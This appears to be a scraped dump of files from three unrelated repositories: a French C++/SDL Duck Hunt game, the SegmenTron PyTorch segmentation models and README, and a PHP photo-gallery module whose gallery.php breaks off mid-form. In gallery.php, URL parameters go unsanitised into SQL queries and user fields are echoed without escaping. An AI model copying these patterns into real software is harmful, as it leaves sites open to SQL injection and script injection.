* Vous décrivez ici ce que fait cette fonction *
*********************** Entrées *****************************
* Vous décrivez ici les données en entrée de la fonction *
*********************** Sorties *****************************
* Vous détaillez ici ce que renvoie la fonction *
************************************************************/
void showHit(SDL_Surface *screen, SDL_Surface *hitSurface, Hit hit[])
{
SDL_Rect rect;
for(int i = 0; i<10; i++)
{
if(hit[i].state == 0){
rect = {8, 7, 22, 24};
}else if(hit[i].state == 1){
rect = {32, 7, 22, 24};
}else{
rect = {56, 7, 22, 24};
}
applySurface(hit[i].rect.x, hit[i].rect.y,hitSurface, screen, &rect);
}
}
/****************** Nom de la fonction **********************
* NOM_FONCTION *
******************** Auteur , Dates *************************
* Nom/Date : Éventuellement la version *
********************* Description ***************************
* Vous décrivez ici ce que fait cette fonction *
*********************** Entrées *****************************
* Vous décrivez ici les données en entrée de la fonction *
*********************** Sorties *****************************
* Vous détaillez ici ce que renvoie la fonction *
************************************************************/
void showScore(SDL_Surface *screen, SDL_Surface *scoreSurface, TTF_Font *font, int score)
{
SDL_Color scoreColor = {255, 255 ,255};
SDL_Rect scoreRec = {590, 670, 275, 90};
std::ostringstream mssg;
mssg.flush();
mssg.str("");
mssg << score;
scoreSurface = TTF_RenderText_Blended(font, mssg.str().c_str(), scoreColor);
SDL_BlitSurface(scoreSurface, NULL, screen, &scoreRec);
}
/****************** Nom de la fonction **********************
* NOM_FONCTION *
******************** Auteur , Dates *************************
* Nom/Date : Éventuellement la version *
********************* Description ***************************
* Vous décrivez ici ce que fait cette fonction *
*********************** Entrées *****************************
* Vous décrivez ici les données en entrée de la fonction *
*********************** Sorties *****************************
* Vous détaillez ici ce que renvoie la fonction *
************************************************************/
void showLevel(SDL_Surface *screen, SDL_Surface *nivSurface, TTF_Font *font, Niveau &niv){
niv.time++;
SDL_Color color = {0, 0 ,0};
SDL_Rect rect = {200, 150, 275, 90};
std::ostringstream mssg;
mssg.flush();
mssg.str("");
mssg << "NIVEAU " << niv.level;
nivSurface = TTF_RenderText_Blended(font, mssg.str().c_str(), color);
SDL_BlitSurface(nivSurface, NULL, screen, &rect);
if(niv.time >= 70){
niv.start = false;
niv.time = 0;
}
}
/****************** Nom de la fonction **********************
* NOM_FONCTION *
******************** Auteur , Dates *************************
* Nom/Date : Éventuellement la version *
********************* Description ***************************
* Vous décrivez ici ce que fait cette fonction *
*********************** Entrées *****************************
* Vous décrivez ici les données en entrée de la fonction *
*********************** Sorties *****************************
* Vous détaillez ici ce que renvoie la fonction *
************************************************************/
void showGameOver(SDL_Surface *screen, SDL_Surface *gameOverSurface, TTF_Font *font, Niveau &niv){
niv.time++;
SDL_Color color = {255, 0 ,0};
SDL_Rect rect = {200, 150, 275, 90};
std::ostringstream mssg;
mssg.flush();
mssg.str("");
mssg << "GAME OVER";
gameOverSurface = TTF_RenderText_Blended(font, mssg.str().c_str(), color);
SDL_BlitSurface(gameOverSurface, NULL, screen, &rect);
if(niv.time >= 70){
initNiveau(niv, 1, 0);
showmenu = true;
}
}
<file_sep>#include <iostream>
#include <cstdlib>
#include <sstream>
#include <string>
#include <ctime>
#include <SDL/SDL.h>
#include <SDL/SDL_image.h>
#include <SDL/SDL_ttf.h>
#include <affichage.h>
#include <niveau.h>
using namespace std;
const int SCREEN_WIDTH=750;
const int SCREEN_HEIGHT=761;
const int SCREEN_BPP=32;
//constantes
const string MENU = "menu.png";
const string NIVEAU = "backGame.png";
const string NIVEAUB = "backGameBlit.png";
const string CROSSAIR = "viseur.png";
const string BULLET = "shot.png";
const string DUCK = "duck.png";
const string HIT = "hit.png";
int nbAmmo = 3;
bool quit = false;
bool showmenu = true;
int main ()
{
srand(time(NULL));
SDL_Surface *screen, *fondNiveau, *fondNiveauB, *crossair, *bullet, *duck, *hit, *score, *levelName, *gameOver = NULL;
SDL_Event event;
Menu menu;
SDL_Rect rCrossair = {0, 0, 0, 0};
SDL_Init(SDL_INIT_EVERYTHING);
screen=SDL_SetVideoMode(SCREEN_WIDTH,SCREEN_HEIGHT, SCREEN_BPP,SDL_SWSURFACE);
fondNiveau = IMG_Load(NIVEAU.c_str());
fondNiveauB = SDL_DisplayFormat(IMG_Load(NIVEAUB.c_str()));
crossair = SDL_DisplayFormat(IMG_Load(CROSSAIR.c_str()));
bullet = SDL_DisplayFormat(IMG_Load(BULLET.c_str()));
duck = SDL_DisplayFormat(IMG_Load(DUCK.c_str()));
hit = SDL_DisplayFormat(IMG_Load(HIT.c_str()));
SDL_SetColorKey(bullet, SDL_SRCCOLORKEY, SDL_MapRGB(bullet->format, 255, 255, 255));
SDL_SetColorKey(crossair, SDL_SRCCOLORKEY, SDL_MapRGB(crossair->format, 0, 0, 0));
SDL_SetColorKey(fondNiveauB, SDL_SRCCOLORKEY, SDL_MapRGB(fondNiveauB->format, 0, 0, 0));
SDL_SetColorKey(hit, SDL_SRCCOLORKEY, SDL_MapRGB(hit->format, 0, 0, 0));
SDL_SetColorKey(duck, SDL_SRCCOLORKEY, SDL_MapRGB(duck->format, 228, 255, 0));
TTF_Init();
initMenu(menu);
TTF_Font *scoreFonts;
scoreFonts = TTF_OpenFont("duck_hunt.ttf", 25);
TTF_Font *levelFonts;
levelFonts = TTF_OpenFont("duck_hunt.ttf", 70);
Uint8 *keystates = SDL_GetKeyState(NULL);
Niveau niv;
initNiveau(niv, 1, 0);
while(!quit)
{
SDL_FillRect(screen,&screen->clip_rect, SDL_MapRGB(screen->format,0,255,0));
if(showmenu)
{
SDL_ShowCursor(1);
showMenu(menu, screen);
}else
{
SDL_ShowCursor(0);
SDL_BlitSurface(fondNiveau, NULL, screen, NULL);
if(niv.start){
showLevel(screen, levelName, levelFonts, niv);
}else if(niv.perdu){
showGameOver(screen, gameOver, levelFonts, niv);
}else{
updateNiv(screen, duck, niv);
}
SDL_BlitSurface(fondNiveauB, NULL, screen, NULL);
SDL_BlitSurface(crossair, NULL, screen, &rCrossair);
showBullet(nbAmmo, screen, bullet);
showHit(screen, hit, niv.hit);
showScore(screen, score, scoreFonts, niv.score);
}
if(keystates[SDLK_SPACE])
showmenu=false;
if(keystates[SDLK_ESCAPE])
showmenu=true;
while(SDL_PollEvent(&event))
{
if(event.type==SDL_QUIT)
{
quit=true;
}
else if(event.type == SDL_MOUSEMOTION)
{
int x = event.button.x;
int y = event.button.y;
if(showmenu)
{
if(onRect(x, y, menu.rjouer)){
menu.sJouer = true;
}else if(onRect(x, y, menu.rQuit)){
menu.sQuit = true;
}else{
menu.sJouer = menu.sQuit = false;
}
}else{
rCrossair = {x, y, 30, 30};
}
}
else if(event.type == SDL_MOUSEBUTTONDOWN)
{
int x = event.button.x;
int y = event.button.y;
if(showmenu)
{
if(onRect(x, y, menu.rjouer)){
showmenu = false;
}
if(onRect(x, y, menu.rQuit)){
quit = true;
}
}else{
if(nbAmmo > 0 && !niv.start){
nbAmmo--;
if(onRect(x, y, niv.cNoir.rect)){
killCan(niv.cNoir, niv);
}else if(onRect(x, y, niv.cMarron.rect)){
killCan(niv.cMarron, niv);
}else if(onRect(x, y, niv.cBleu.rect)){
killCan(niv.cBleu, niv);
}
}
}
}
}
SDL_Flip(screen);
SDL_Delay(10);
}
TTF_CloseFont(menu.menuFonts);
TTF_Quit();
SDL_FreeSurface(screen);
SDL_Quit();
return EXIT_SUCCESS;
}
<file_sep>#include <SDL/SDL.h>
#include <SDL/SDL_image.h>
#include <affichage.h>
#include <canard.h>
const int SCREEN_WIDTH=750;
const int SCREEN_HEIGHT=761;
const int vitesseCanNoir = 2;
const int vitesseCanMarron = 4;
const int vitesseCanBleu = 6;
/****************** Nom de la fonction **********************
* NOM_FONCTION : initCanard *
******************** Auteur , Dates *************************
* Nom/Date : <NAME> *
********************* Description ***************************
* Initialise le canard. *
*********************** Entrées *****************************
* 3 entiers x,y, couleur et la structure can *
*********************** Sorties *****************************
* La structure can *
************************************************************/
void initCanard(Canard &can, int x, int y, int couleur){
can.x = x;
can.y = y;
can.couleur = couleur;
can.isDead = false;
can.time = 0;
can.echape = false;
if(couleur == 0)
{
can.mvx = vitesseCanNoir;
can.mvy = vitesseCanNoir;
}else if(couleur == 1)
{
can.mvx = vitesseCanMarron;
can.mvy = vitesseCanMarron;
}else if(couleur == 2){
can.mvx = vitesseCanBleu;
can.mvy = vitesseCanBleu;
}
}
/****************** Nom de la fonction **********************
* NOM_FONCTION : updateCan *
******************** Auteur , Dates *************************
* Nom/Date : <NAME> *
********************* Description ***************************
* Affiche le canard et le mouvement du canard *
*********************** Entrées *****************************
* Surface screen et duck et structure can *
*********************** Sorties *****************************
* Structure can *
************************************************************/
//appeler a chaque tour de boucle
void updateCan(SDL_Surface *screen, SDL_Surface *duck, Canard &can)
{
moveCanard(can);
can.time++;
showDuck(screen, duck, can);
}
/****************** Nom de la fonction **********************
* NOM_FONCTION : moveCanard *
******************** Auteur , Dates *************************
* Nom/Date : <NAME> et <NAME> *
********************* Description ***************************
* Gère le mouvement du canard en fonction de s'il s'est *
* échapper ou non, ou bien s'il est mort ou non. *
*********************** Entrées *****************************
* structure can *
*********************** Sorties *****************************
* structure can *
************************************************************/
void moveCanard(Canard &can)
{
int taille = 80;
can.rect = {can.x, can.y, taille, taille};
if(!can.isDead)
{
if(!can.echape)
{
can.x += can.mvx;
// Correction Mouvement Horizontal
if((can.x + taille > SCREEN_WIDTH) || (can.x < 0))
{
can.x -= can.mvx;
can.mvx *=- 1;
}
can.y += can.mvy;
// Correction Mouvement Vertical
if((can.y + taille > SCREEN_HEIGHT - 250) || (can.y< 0))
{
can.y -= can.mvy;
can.mvy *= -1;
}
}else
{
can.y -= 10;
can.x += can.mvx;
}
}
else{
can.y += 15;
}
}
<file_sep># DuckHunt
## DISCONTINUED
|
c83dfa396eaaf554de95c88a8cd9dedfacc120ee
|
[
"Markdown",
"C",
"C++"
] | 8 |
C
|
CrashKiller47/DuckHunt
|
5472b44131c542e1c07465aaf5bdc0bae2d47583
|
abb27647e2360f929f4a18169732dec333444a60
|
refs/heads/master
|
<file_sep>import torch
import logging
from .deeplabv3_plus import get_deeplabv3_plus
from .danet import get_danet
from .icnet import get_icnet
from .pspnet import get_psp
from .dfanet import get_dfanet
from .fast_scnn import get_fast_scnn
from .fcn import get_fcn
from .hrnet_seg import get_hrnet
from ..config import cfg
__all__ = ['get_model_list', 'get_segmentation_model']
_models = {
'deeplabv3_plus': get_deeplabv3_plus,
'danet': get_danet,
'pspnet': get_psp,
'icnet': get_icnet,
'dfanet': get_dfanet,
'fast_scnn': get_fast_scnn,
'fcn': get_fcn,
'hrnet': get_hrnet,
}
def get_model_list():
return list(_models.keys())
def get_segmentation_model():
model = _models[cfg.MODEL.MODEL_NAME]()
if cfg.PHASE == 'train':
if cfg.TRAIN.PRETRAINED_MODEL_PATH:
logging.info('load pretrained model from {}'.format(cfg.TRAIN.PRETRAINED_MODEL_PATH))
msg = model.load_state_dict(torch.load(cfg.TRAIN.PRETRAINED_MODEL_PATH))
logging.info(msg)
else:
if cfg.TEST.TEST_MODEL_PATH:
logging.info('load test model from {}'.format(cfg.TEST.TEST_MODEL_PATH))
msg = model.load_state_dict(torch.load(cfg.TEST.TEST_MODEL_PATH))
logging.info(msg)
return model
<file_sep>from .xception import get_xception
from .resnet import get_resnet<file_sep>import os
import torch
import logging
import torch.utils.model_zoo as model_zoo
from ...config import cfg
model_urls = {
'resnet18b': 'https://download.pytorch.org/models/resnet18-5c106cde.pth',
'resnet34b': 'https://download.pytorch.org/models/resnet34-333f7ec4.pth',
'resnet50b': 'https://download.pytorch.org/models/resnet50-19c8e357.pth',
'resnet101b': 'https://download.pytorch.org/models/resnet101-5d3b4d8f.pth',
'resnet152b': 'https://download.pytorch.org/models/resnet152-b121ed2d.pth',
'resnet50c': 'https://github.com/LikeLy-Journey/SegmenTron/releases/download/v0.1.0/resnet50-25c4b509.pth',
'resnet101c': 'https://github.com/LikeLy-Journey/SegmenTron/releases/download/v0.1.0/resnet101-2a57e44d.pth',
'resnet152c': 'https://github.com/LikeLy-Journey/SegmenTron/releases/download/v0.1.0/resnet152-0d43d698.pth',
'xception65': 'https://github.com/LikeLy-Journey/SegmenTron/releases/download/v0.1.0/tf-xception65-270e81cf.pth'
}
def load_backbone_pretrained(model, backbone):
if cfg.PHASE == 'train' and cfg.TRAIN.BACKBONE_PRETRAINED and (not cfg.TRAIN.PRETRAINED_MODEL_PATH):
if os.path.isfile(cfg.TRAIN.BACKBONE_PRETRAINED_PATH):
logging.info('Load backbone pretrained model from {}'.format(
cfg.TRAIN.BACKBONE_PRETRAINED_PATH
))
msg = model.load_state_dict(torch.load(cfg.TRAIN.BACKBONE_PRETRAINED_PATH), strict=False)
logging.info(msg)
elif backbone not in model_urls:
logging.info('{} has no pretrained model'.format(backbone))
return
else:
logging.info('load backbone pretrained model from url..')
msg = model.load_state_dict(model_zoo.load_url(model_urls[backbone]))
logging.info(msg)<file_sep># PyTorch for Semantic Segmentation
## Introduce
This repository contains some models for semantic segmentation and the pipeline of training and testing models,
implemented in PyTorch.
## Model zoo
|Model|Backbone|Datasets|eval size|Mean IoU(paper)|Mean IoU(this repo)|
|:-:|:-:|:-:|:-:|:-:|:-:|
|DeepLabv3_plus|xception65|cityscape(val)|(1025,2049)|78.8|[78.93](https://github.com/LikeLy-Journey/SegmenTron/releases/download/v0.1.0/deeplabv3_plus_xception_segmentron.pth)|
|DeepLabv3_plus|resnet101|cityscape(val)|(1025,2049)|-|[78.27](https://github.com/LikeLy-Journey/SegmenTron/releases/download/v0.1.0/deeplabv3_plus_resnet101_segmentron.pth)|
|Danet|resnet101|cityscape(val)|(1024,2048)|79.9|[79.34](https://github.com/LikeLy-Journey/SegmenTron/releases/download/v0.1.0/danet101_segmentron.pth)|
|Pspnet|resnet101|cityscape(val)|(1025,2049)|78.63|[77.00](https://github.com/LikeLy-Journey/SegmenTron/releases/download/v0.1.0/pspnet_resnet101_segmentron.pth)|
## Environments
- OS: Ubuntu16.04
- python 3.7.4
- torch >= 1.1.0
- torchvision
- pyyaml
- Pillow
- numpy
## Dataset prepare
Goto [Cityscape](https://www.cityscapes-dataset.com) register a account and download datasets.
put cityscape data as follow:
```
datasets/cityscapes/
|-- gtFine
| |-- test
| |-- train
| `-- val
|-- leftImg8bit
|-- test
|-- train
`-- val
```
## Pretrained backbone models
pretrained backbone models will be download automatically in pytorch default directory(```~/.cache/torch/checkpoints/```).
## Code structure
```
├── configs # yaml config file
├── segmentron # core code
├── tools # train eval code
└── datasets # put datasets here
```
## Train
cd tools
```
export NGPUS=4
export CUDA_VISIBLE_DEVICES=0,1,2,3
python -m torch.distributed.launch --nproc_per_node=$NGPUS train.py \
../configs/cityscapes_deeplabv3_plus.yaml
```
## Eval
Download trained model from model zoo table above, and put it in ```SegmenTron/trained_models/```
modify config yaml for corresponding model path:
```
TEST:
TEST_MODEL_PATH: your_test_model_path
```
```
export NGPUS=4
export CUDA_VISIBLE_DEVICES=0,1,2,3
python -m torch.distributed.launch --nproc_per_node=$NGPUS eval.py \
../configs/cityscapes_deeplabv3_plus.yaml
```
## References
- [PyTorch-Encoding](https://github.com/zhanghang1989/PyTorch-Encoding)
- [detectron2](https://github.com/facebookresearch/detectron2)
- [gloun-cv](https://github.com/dmlc/gluon-cv)
<file_sep>from __future__ import division
import torch
import torch.nn as nn
import torch.nn.functional as F
from .segbase import SegBaseModel
from ..modules import _FCNHead
from ..config import cfg
__all__ = ['DANet', 'get_danet']
class PAM_Module(nn.Module):
""" Position attention module"""
#Ref from SAGAN
def __init__(self, in_dim):
super(PAM_Module, self).__init__()
self.chanel_in = in_dim
self.query_conv = nn.Conv2d(in_channels=in_dim, out_channels=in_dim//8, kernel_size=1)
self.key_conv = nn.Conv2d(in_channels=in_dim, out_channels=in_dim//8, kernel_size=1)
self.value_conv = nn.Conv2d(in_channels=in_dim, out_channels=in_dim, kernel_size=1)
self.gamma = nn.Parameter(torch.zeros(1))
self.softmax = nn.Softmax(dim=-1)
def forward(self, x):
"""
inputs :
x : input feature maps( B X C X H X W)
returns :
out : attention value + input feature
attention: B X (HxW) X (HxW)
"""
m_batchsize, C, height, width = x.size()
proj_query = self.query_conv(x).view(m_batchsize, -1, width*height).permute(0, 2, 1)
proj_key = self.key_conv(x).view(m_batchsize, -1, width*height)
energy = torch.bmm(proj_query, proj_key)
attention = self.softmax(energy)
proj_value = self.value_conv(x).view(m_batchsize, -1, width*height)
out = torch.bmm(proj_value, attention.permute(0, 2, 1))
out = out.view(m_batchsize, C, height, width)
out = self.gamma*out + x
return out
class CAM_Module(nn.Module):
""" Channel attention module"""
def __init__(self, in_dim):
super(CAM_Module, self).__init__()
self.chanel_in = in_dim
self.gamma = nn.Parameter(torch.zeros(1))
self.softmax = nn.Softmax(dim=-1)
def forward(self,x):
"""
inputs :
x : input feature maps( B X C X H X W)
returns :
out : attention value + input feature
attention: B X C X C
"""
m_batchsize, C, height, width = x.size()
proj_query = x.view(m_batchsize, C, -1)
proj_key = x.view(m_batchsize, C, -1).permute(0, 2, 1)
energy = torch.bmm(proj_query, proj_key)
energy_new = torch.max(energy, -1, keepdim=True)[0].expand_as(energy)-energy
attention = self.softmax(energy_new)
proj_value = x.view(m_batchsize, C, -1)
out = torch.bmm(attention, proj_value)
out = out.view(m_batchsize, C, height, width)
out = self.gamma*out + x
return out
class DANet(SegBaseModel):
r"""Fully Convolutional Networks for Semantic Segmentation
Parameters
----------
nclass : int
Number of categories for the training dataset.
"""
def __init__(self, nclass):
super(DANet, self).__init__(nclass)
self.head = DANetHead(2048, nclass)
if self.aux:
self.auxlayer = _FCNHead(728, nclass)
self.__setattr__('decoder', ['head', 'auxlayer'] if self.aux else ['head'])
def forward(self, x):
imsize = x.size()[2:]
_, _, c3, c4 = self.encoder(x)
x = self.head(c4)
x = list(x)
x[0] = F.interpolate(x[0], imsize, mode='bilinear', align_corners=True)
x[1] = F.interpolate(x[1], imsize, mode='bilinear', align_corners=True)
x[2] = F.interpolate(x[2], imsize, mode='bilinear', align_corners=True)
outputs = [x[0]]
outputs.append(x[1])
outputs.append(x[2])
return tuple(outputs)
class DANetHead(nn.Module):
def __init__(self, in_channels, out_channels, norm_layer=nn.BatchNorm2d):
super(DANetHead, self).__init__()
inter_channels = in_channels // 4
self.conv5a = nn.Sequential(nn.Conv2d(in_channels, inter_channels, 3, padding=1, bias=False),
norm_layer(inter_channels),
nn.ReLU())
self.conv5c = nn.Sequential(nn.Conv2d(in_channels, inter_channels, 3, padding=1, bias=False),
norm_layer(inter_channels),
nn.ReLU())
self.sa = PAM_Module(inter_channels)
self.sc = CAM_Module(inter_channels)
self.conv51 = nn.Sequential(nn.Conv2d(inter_channels, inter_channels, 3, padding=1, bias=False),
norm_layer(inter_channels),
nn.ReLU())
self.conv52 = nn.Sequential(nn.Conv2d(inter_channels, inter_channels, 3, padding=1, bias=False),
norm_layer(inter_channels),
nn.ReLU())
self.conv6 = nn.Sequential(nn.Dropout2d(0.1, False), nn.Conv2d(512, out_channels, 1))
self.conv7 = nn.Sequential(nn.Dropout2d(0.1, False), nn.Conv2d(512, out_channels, 1))
self.conv8 = nn.Sequential(nn.Dropout2d(0.1, False), nn.Conv2d(512, out_channels, 1))
def forward(self, x):
feat1 = self.conv5a(x)
sa_feat = self.sa(feat1)
sa_conv = self.conv51(sa_feat)
sa_output = self.conv6(sa_conv)
feat2 = self.conv5c(x)
sc_feat = self.sc(feat2)
sc_conv = self.conv52(sc_feat)
sc_output = self.conv7(sc_conv)
feat_sum = sa_conv+sc_conv
sasc_output = self.conv8(feat_sum)
output = [sasc_output]
output.append(sa_output)
output.append(sc_output)
return tuple(output)
def get_danet():
r"""DANet model from the paper `"Dual Attention Network for Scene Segmentation"
<https://arxiv.org/abs/1809.02983.pdf>`
"""
from ..data.dataloader import datasets
model = DANet(datasets[cfg.DATASET.NAME].NUM_CLASS)
return model
<file_sep>"""Base Model for Semantic Segmentation"""
import torch.nn as nn
from .backbones.resnet import get_resnet
from .backbones.xception import get_xception
from .backbones.mobilenet import get_mobilenet
from .backbones.hrnet import get_hrnet
from ..modules import get_norm
from ..config import cfg
__all__ = ['SegBaseModel']
class SegBaseModel(nn.Module):
r"""Base Model for Semantic Segmentation
"""
def __init__(self, nclass):
super(SegBaseModel, self).__init__()
self.nclass = nclass
self.aux = cfg.SOLVER.AUX
self.norm_layer = get_norm(cfg.MODEL.BN_TYPE)
self.get_backbone()
def get_backbone(self):
self.backbone = cfg.MODEL.BACKBONE.lower()
if self.backbone.startswith('xception'):
self.encoder = get_xception(self.backbone, self.norm_layer)
elif self.backbone.startswith('resnet'):
self.encoder = get_resnet(self.backbone, self.norm_layer)
elif self.backbone.startswith('mobilenet'):
self.encoder = get_mobilenet(self.backbone, self.norm_layer)
elif self.backbone.startswith('hrnet'):
self.encoder = get_hrnet(self.backbone, self.norm_layer)
else:
raise RuntimeError('unknown backbone: {}'.format(self.backbone))
def base_forward(self, x):
"""forwarding backbone network"""
c1, c2, c3, c4 = self.encoder(x)
return c1, c2, c3, c4
def evaluate(self, x):
"""evaluating network with inputs and targets"""
return self.forward(x)[0]
def demo(self, x):
pred = self.forward(x)
if self.aux:
pred = pred[0]
return pred
<file_sep>import torch
import torch.nn as nn
import torch.nn.functional as F
from .segbase import SegBaseModel
from ..modules import _ConvBNReLU, SeparableConv2d, _ASPP, _FCNHead
from ..config import cfg
__all__ = ['DeepLabV3Plus', 'get_deeplabv3_plus', 'get_deeplabv3_plus_xception_voc']
class DeepLabV3Plus(SegBaseModel):
r"""DeepLabV3Plus
Parameters
----------
nclass : int
Number of categories for the training dataset.
"""
def __init__(self, nclass):
super(DeepLabV3Plus, self).__init__(nclass)
if self.backbone.startswith('mobilenet'):
c1_channels = 24
c4_channels = 320
else:
c1_channels = 256
c4_channels = 2048
self.head = _DeepLabHead(nclass, c1_channels=c1_channels, c4_channels=c4_channels)
if self.aux:
self.auxlayer = _FCNHead(728, nclass)
self.__setattr__('decoder', ['head', 'auxlayer'] if self.aux else ['head'])
def forward(self, x):
size = x.size()[2:]
c1, _, c3, c4 = self.encoder(x)
outputs = list()
x = self.head(c4, c1)
x = F.interpolate(x, size, mode='bilinear', align_corners=True)
outputs.append(x)
if self.aux:
auxout = self.auxlayer(c3)
auxout = F.interpolate(auxout, size, mode='bilinear', align_corners=True)
outputs.append(auxout)
return tuple(outputs)
class _DeepLabHead(nn.Module):
def __init__(self, nclass, c1_channels=256, c4_channels=2048, norm_layer=nn.BatchNorm2d):
super(_DeepLabHead, self).__init__()
self.aspp = _ASPP(c4_channels, 256)
self.c1_block = _ConvBNReLU(c1_channels, 48, 1, norm_layer=norm_layer)
self.block = nn.Sequential(
SeparableConv2d(304, 256, 3, norm_layer=norm_layer, relu_first=False),
SeparableConv2d(256, 256, 3, norm_layer=norm_layer, relu_first=False),
nn.Conv2d(256, nclass, 1))
def forward(self, x, c1):
size = c1.size()[2:]
c1 = self.c1_block(c1)
x = self.aspp(x)
x = F.interpolate(x, size, mode='bilinear', align_corners=True)
return self.block(torch.cat([x, c1], dim=1))
def get_deeplabv3_plus():
from ..data.dataloader import datasets
model = DeepLabV3Plus(datasets[cfg.DATASET.NAME].NUM_CLASS)
return model
def get_deeplabv3_plus_xception_voc(**kwargs):
return get_deeplabv3_plus('pascal_voc', 'xception', **kwargs)
if __name__ == '__main__':
model = get_deeplabv3_plus_xception_voc()
<file_sep>"""Model Zoo"""
from .model_zoo import get_model_list
|
ecb3ada666c3e6595ed66eab98bca4d26eaa907e
|
[
"Markdown",
"Python"
] | 8 |
Python
|
huangshuyi1991/SegmenTron
|
53e88cf86087bb881aa759c6d5cd04a0d977e69d
|
a58ab99eb9bb162e464341ece9de00117e9114e9
|
refs/heads/master
|
<repo_name>jagodragon/Photo_Gallery<file_sep>/config/lang_English.php
<?php
$module_lang = array(
'allimages' => 'All images',
'author' => 'Author',
'befirst' => 'Be the first to add an image',
'back' => 'Back',
'cancel' => 'Reset form',
'comment' => 'Comment',
'delete' =>'Delete',
'title' => 'Gallery',
'date' => 'Date',
'deleteconfirm' => 'Are you sure you want to delete this image?',
'deleted' => 'Deleted',
'deletesuccess' => 'Your picture has been removed from the gallery. The site admin will now have to purge the pitcure from the system.',
'edit' => 'Edit',
'editsuccess' => 'Your picture has been edited.',
'ErrorFilename' => 'Sorry we already have a file by that name... Please rename your file and try again.',
'file' => 'file',
'filesize' => 'Max File size',
'filetype' => 'File Type',
'gallery' => 'Gallery',
'galtype' => 'Screen or Wallpaper?',
'home' => 'Gallery home',
'images' => 'images',
'inthegallery' => 'in the gallery',
'mustlogin' => 'You must be logged in to do this.<br/>Please log in at the top of the screan.',
'next' => 'Next',
'noimages' => 'Therer are currently no images in this category',
'nonfiletype' => 'The flie type is not supported',
'nopictoedit' => 'You tried to cheat!! But you forgot to include and image.',
'notowneredit' => 'Nice try, but you don\'t have privlages to edit this image!',
'upload'=> 'Upload',
'Uploaderror' => '<b><color=red>Error!</color></b> Could not upload or move the file!',
'username' => 'User Name',
'selecttype' => "You didn't Select a category for your image",
// CATEGORRY NAME TRANSLATIONS HERE <------------<<<<
'screenshot' => 'Screenshot',
'wallpaper' => 'Wallpaper',
'userart' => 'User art',
'addyourown' => 'Add your Own'//,
//'newcat' => 'New Category'
);<file_sep>/gallery.php
<?php
//========================//
if(INCLUDED !== TRUE)
{
echo "No Direct File Linking Allowed!";
exit;
}
// ==================== //
/*
*/
if (isset ($_GET['page']))
$page=$_GET['page'];
else
$page=1;
$limitstart = (($page*$Module_Config['pagelimit'])-$Module_Config['pagelimit']);
if (isset ($_GET['gal']))
{
if ( $_GET['gal'] == 'deleted' )
if ($user['account_level'] >= 3 )
{
$lastpicid = (int)$DB->selectCell("SELECT `id` FROM `mw_gallery` WHERE `cat`='".$_GET['gal']."' ORDER BY `id` DESC LIMIT 1;");
$pictures = $DB->select("SELECT * FROM `mw_gallery` WHERE `cat`='".$_GET['gal']."' ORDER BY `id` ASC LIMIT ".$limitstart.",".$Module_Config['pagelimit'].";");
$totalimages = (int)$DB->selectCell("select count(id) from `mw_gallery` where `cat`='".$_GET['gal']."';");
}
else
{
echo'
<center>
'.$module_lang['notowneredit'].'<br/>
<a href="?module='. MODULE_NAME .'">'.$module_lang[$galleries].' </a>
</center>
';
exit;
}
else
{
$lastpicid = (int)$DB->selectCell("SELECT `id` FROM `mw_gallery` WHERE `cat`='".$_GET['gal']."' ORDER BY `id` DESC LIMIT 1;");
$pictures = $DB->select("SELECT * FROM `mw_gallery` WHERE `cat`='".$_GET['gal']."' ORDER BY `id` ASC LIMIT ".$limitstart.",".$Module_Config['pagelimit'].";");
$totalimages = (int)$DB->selectCell("select count(id) from `mw_gallery` where `cat`='".$_GET['gal']."';");
}
}
else
{
$lastpicid = (int)$DB->selectCell("SELECT `id` FROM `mw_gallery` ORDER BY `id` DESC LIMIT 1;");
if ($user['account_level'] >= 3)
$pictures = $DB->select("SELECT * FROM `mw_gallery` ORDER BY `id` ASC LIMIT ".$limitstart.",".$Module_Config['pagelimit'].";");
else
$pictures = $DB->select("SELECT * FROM `mw_gallery` WHERE `cat`!='deleted' ORDER BY `id` ASC LIMIT ".$limitstart.",".$Module_Config['pagelimit'].";");
$totalimages = (int)$DB->selectCell("select count(id) from `mw_gallery`;");
}
if ($totalimages >> 0)
{
foreach($pictures as $picture)
{
echo '
<center>
<table style="margin: 7px;" border="0" cellpadding="0" cellspacing="0">
<tbody>
<tr>
<td><img src="modules/'. MODULE_NAME .'/templates/'.$moduletheme.'/frame/lt.png" class="png" style="width: 12px; height: 9px;" border="0" height="0" width="0"></td>
<td background="modules/'. MODULE_NAME .'/templates/'.$moduletheme.'/frame/_t.gif"><img src="modules/'. MODULE_NAME .'/templates/'.$moduletheme.'/frame/_.gif" height="0" width="0"></td>
<td><img src="modules/'. MODULE_NAME .'/templates/'.$moduletheme.'/frame/rt.png" class="png" style="width: 12px; height: 9px;" border="0" height="0" width="0"></td>
</tr>
<tr>
<td background="modules/'. MODULE_NAME .'/templates/'.$moduletheme.'/frame/_l.gif"><img src="modules/'. MODULE_NAME .'/templates/'.$moduletheme.'/frame/_.gif" height="0" width="0"></td>
<td>';
if ($picture['cat'] == 'deleted')
{
echo '<a href="images/'. $picture['oldcat'] .'s/'. $picture['img'] .'" target="_blank"><img src="modules/'. MODULE_NAME .'/show_picture.php?filename='. $picture['img'] .'&gallery='. $picture['oldcat'] .'&width=282" width="282" alt="" style="border: 1px solid #333333"/>';
}
Else
{
echo '<a href="images/'. $picture['cat'] .'s/'. $picture['img'] .'" target="_blank"><img src="modules/'. MODULE_NAME .'/show_picture.php?filename='. $picture['img'] .'&gallery='. $picture['cat'] .'&width=282" width="282" alt="" style="border: 1px solid #333333"/>';
}
echo '
</td>
<td background="modules/'. MODULE_NAME .'/templates/'.$moduletheme.'/frame/_r.gif"><img src="modules/'. MODULE_NAME .'/templates/'.$moduletheme.'/frame/_.gif" height="0" width="0"></td>
<td width="25" />
<td width="200">
<br /> '.$module_lang['comment'].': '.$picture['comment'].'
<br /> '.$module_lang['author'].": ".$picture['autor'].'
<br /> '.$module_lang['date'].": ".$picture['date'].'
';
if ($picture['cat'] == 'deleted')
echo'
<br/>
<b>'.$module_lang['deleted'].' '.$module_lang[$picture['oldcat']].'<b>
';
if ($picture['autor'] == $user['username'] or $user['account_level'] >= 3 )
echo'
<br/>
<form method="post" action="index.php?module='. MODULE_NAME .'&sub=edit&pic='.$picture['id'].'" enctype="multipart/form-data">
<input type="submit" value="'.$module_lang['edit'].'" name="edit">
</form>
';
if ($picture['autor'] == $user['username'] or $user['account_level'] >= 3 )
if ($picture['cat'] != 'deleted' )
echo'
<form method="post" action="index.php?module='. MODULE_NAME .'&sub=delete&pic='.$picture['id'].'" enctype="multipart/form-data">
